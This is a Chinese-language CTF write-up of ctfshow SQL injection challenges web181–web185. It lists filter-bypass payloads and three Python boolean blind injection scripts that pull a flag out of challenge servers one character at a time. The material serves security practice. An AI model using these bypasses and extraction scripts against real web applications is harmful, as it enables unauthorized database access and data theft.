国庆也没啥事,正好把前一段刷的题总结复盘一下
1.web181
如上过滤了空格以及很多代替空格的字符还有#等
经过测试%0c还是可以用,同web180用--%0c代替#
'or'1'='1'--%0c
1'||1--%0c
另一种思路如下:
'or(username)='flag
'%0cor%0cusername%0clike%0c'flag(%0c代替空格)
2.web182
1'||1--%0c
%0c换成%01到%08都可以
或者用like以及%进行通配绕过
0'||%0cusername%0clike'f%(%匹配任意长度字符)
0'||%0cusername%0clike'f___(_匹配单个字符)
3.web183(布尔盲注,184,185也是)
又要写脚本了(贴上大佬的),其实逻辑不是很复杂,但是我比较懒(,现在感觉写这种脚本把逻辑直接说给gpt写的也很快稍微改改就可以
同样过滤空格用括号,过滤等号用like
为什么是布尔盲注呢,后面尝试注入的时候发现查询成功返回1,查询失败返回0,那么就可以一个一个字符猜测flag的值喽
ctfshow-web入门-sql注入(web181-web185)_ctfshowweb183-CSDN博客
import requests
import string
url = 'http://e0cc75fb-0ad4-4a1a-8aad-c1882f0b1817.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}' # flag可能的字符
# print(dic)
out = 'ctfshow{' # 已经确定的部分
for j in range(0, 50): # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
for k in dic:
payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"} # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
if '$user_count = 1;' in re.text:
print(k)
out += k
break # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
print(out)
4.web184
where也过滤了,用having代替;
引号被过滤了,那么字符串部分可以采用16进制绕过
import requests
import string
url = 'http://e5acd03e-3198-48bf-871e-e4206c247bf6.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}' # flag可能的字符
dic = [f"{ord(c):02x}" for c in dic] # 将字符转为十六进制格式
# print(dic)
out = '0x63746673686f777b' # 已经确定的部分
for j in range(0, 50): # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
for k in dic:
# print(k)
# payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"} # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
if '$user_count = 1;' in re.text:
print(k)
out += k
break # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
print(out)
5.web185
数字被过滤了
可以使用 true 结合 concat 拼接出数字
比如select concat(true+true+true,true) 结果就是31
附上羽师傅的脚本
import requests
import string
url="http://9e3d2b9e-cd80-46f6-a96d-fdae265dd694.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+'-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
payload={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=payload)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break
贴上代码的解释吧,前期不会写脚本至少认真学看懂各位师傅写的代码